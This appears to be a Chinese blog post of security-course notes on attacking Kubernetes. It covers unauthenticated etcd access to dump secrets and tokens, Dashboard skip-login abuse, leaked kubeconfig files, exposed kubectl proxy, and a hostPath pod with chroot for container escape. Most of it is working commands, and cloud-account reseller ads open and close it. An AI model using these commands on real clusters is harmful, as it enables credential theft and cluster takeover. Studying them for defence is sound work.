云上攻防-云原生篇&K8s安全&Config泄漏&Etcd存储&Dashboard鉴权&Proxy暴露

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6

文章目录

在这里插入图片描述

云原生-K8s安全-etcd未授权访问

攻击2379端口默认通过证书认证主要存放节点的数据如一些token和证书。

第一种没有配置指定–client-cert-auth 参数打开证书校验暴露在外Etcd服务存在未授权访问风险。
-暴露外部可以访问直接未授权访问获取secrets和token利用

第二种在打开证书校验选项后通过本地127.0.0.1:2379可免认证访问Etcd服务但通过其他地址访问要携带cert进行认证访问一般配合ssrf或其他利用较为鸡肋。
-只能本地访问直接未授权访问获取secrets和token利用

第三种实战中在安装k8s默认的配置2379只会监听本地如果访问没设置0.0.0.0暴露那么也就意味着最多就是本地访问不能公网访问只能配合ssrf或其他。
-只能本地访问利用ssrf或其他进行获取secrets和token利用

配置文件
/etc/kubernetes/manifests/etcd.yaml
复现搭建
https://www.cnblogs.com/qtzd/p/k8s_etcd.html
安装etcdctl
https://github.com/etcd-io/etcd/releases
安装kubectlhttps://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux

*复现利用
*暴露etcd未授权->获取secrets&token->通过token访问API-Server接管
*SSRF解决限制访问->获取secrets&token->通过token访问API-Server接管
*V2/V3版本利用参考https://www.cnblogs.com/qtzd/p/k8s_etcd.html

利用参考
https://www.wangan.com/p/7fy7f81f02d9563a
https://www.cnblogs.com/qtzd/p/k8s_etcd.html

V2版本利用
直接访问http://ip:2379/v2/keys/?recursive=true
可以看到所有的key-value值。secrets token

V3版本利用
1、连接提交测试
./etcdctl --endpoints=192.168.139.136:23791 get / --prefix
./etcdctl --endpoints=192.168.139.136:23791 put /testdir/testkey1 “Hello world1”
./etcdctl --endpoints=192.168.139.136:23791 put /testdir/testkey2 “Hello world2”
./etcdctl --endpoints=192.168.139.136:23791 put /testdir/testkey3 “Hello world3”
2、获取k8s的secrets
./etcdctl --endpoints=192.168.139.136:23791 get / --prefix --keys-only | grep /secrets/
3、读取service account token:
./etcdctl --endpoints=192.168.139.136:23791 get / --prefix --keys-only | grep /secrets/kube-system/clusterrole
./etcdctl --endpoints=192.168.139.136:23791 get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-jdp5z
4、通过token访问API-Server获取集群的权限
kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token=“ey…” -n kube-system get pods

云原生-K8s安全-Dashboard未授权访问

默认端口8001
配置不当导致dashboard未授权访问,通过dashboard我们可以控制整个集群。
kubernetes dashboard的未授权其实分两种情况
一种是在本身就存在着不需要登录的http接口但接口本身并不会暴露出来如接口被暴露在外就会导致dashboard未授权。另外一种情况则是开发嫌登录麻烦修改了配置文件使得安全接口https的dashboard页面可以跳过登录。

*复现利用
*用户开启enable-skip-login时可以在登录界面点击跳过登录进dashboard
*Kubernetes-dashboard绑定cluster-admin拥有管理集群的最高权限
1、安装https://blog.csdn.net/justlpf/article/details/130718774
2、启动kubectl create -f recommended.yaml
3、卸载kubectl delete -f recommended.yaml
4、查看kubectl get pod,svc -n kubernetes-dashboard
5、利用新增Pod后续同前面利用一致
*找到暴露面板->dashboard跳过-创建或上传pod->进入pod执行-利用挂载逃逸
apiVersion: v1
kind: Pod
metadata:
name: xiaodisec
spec:
containers:

  • image: nginx
    name: xiaodisec
    volumeMounts:
    • mountPath: /mnt
      name: test-volume
      volumes:
  • name: test-volume
    hostPath:
    path: /

云原生-K8s安全-Configfile鉴权文件泄漏

攻击者通过Webshell、Github等拿到了K8s配置的Config文件操作集群从而接管所有容器。K8s configfile作为K8s集群的管理凭证其中包含有关K8s集群的详细信息(API Server、登录凭证)。如果攻击者能够访问到此文件(如办公网员工机器入侵、泄露到Github的代码等)就可以直接通过API Server接管K8s集群带来风险隐患。用户凭证保存在kubeconfig文件中通过以下顺序来找到kubeconfig文件
-如果提供了–kubeconfig参数就使用提供的kubeconfig文件
-如果没有提供–kubeconfig参数但设置了环境变量$KUBECONFIG则使用该环境变量提供的kubeconfig文件
-如果以上两种情况都没有kubectl就使用默认的kubeconfig文件~/.kube/config

*复现利用
*K8s-configfile->创建Pod/挂载主机路径->Kubectl进入容器->利用挂载逃逸
1、将获取到的config复制
2、安装kubectl使用config连接
安装https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux
连接kubectl -s https://192.168.139.130:6443/ --kubeconfig=config --insecure-skip-tls-verify=true get nodes
3、上传利用test.yaml创建pod
kubectl apply -f test.yaml -n default --kubeconfig=config
4、连接pod后进行容器挂载逃逸
kubectl exec -it xiaodisec bash -n default --kubeconfig=config
cd /mnt
chroot . bash

云原生-K8s安全-Kubectl Proxy不安全配置

当运维人员需要某个环境暴露端口或者IP时会用到Kubectl Proxy
使用kubectl proxy命令就可以使API server监听在本地的xxxx端口上

环境搭建
kubectl --insecure-skip-tls-verify proxy --accept-hosts=^.*$ --address=0.0.0.0 --port=8009

*复现利用
*类似某个不需认证的服务应用只能本地访问被代理出去后形成了外部攻击入口点。
*找到暴露入口点根据类型选择合适方案
kubectl -s http://192.168.139.130:8009 get pods -n kube-system

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6
标签: k8s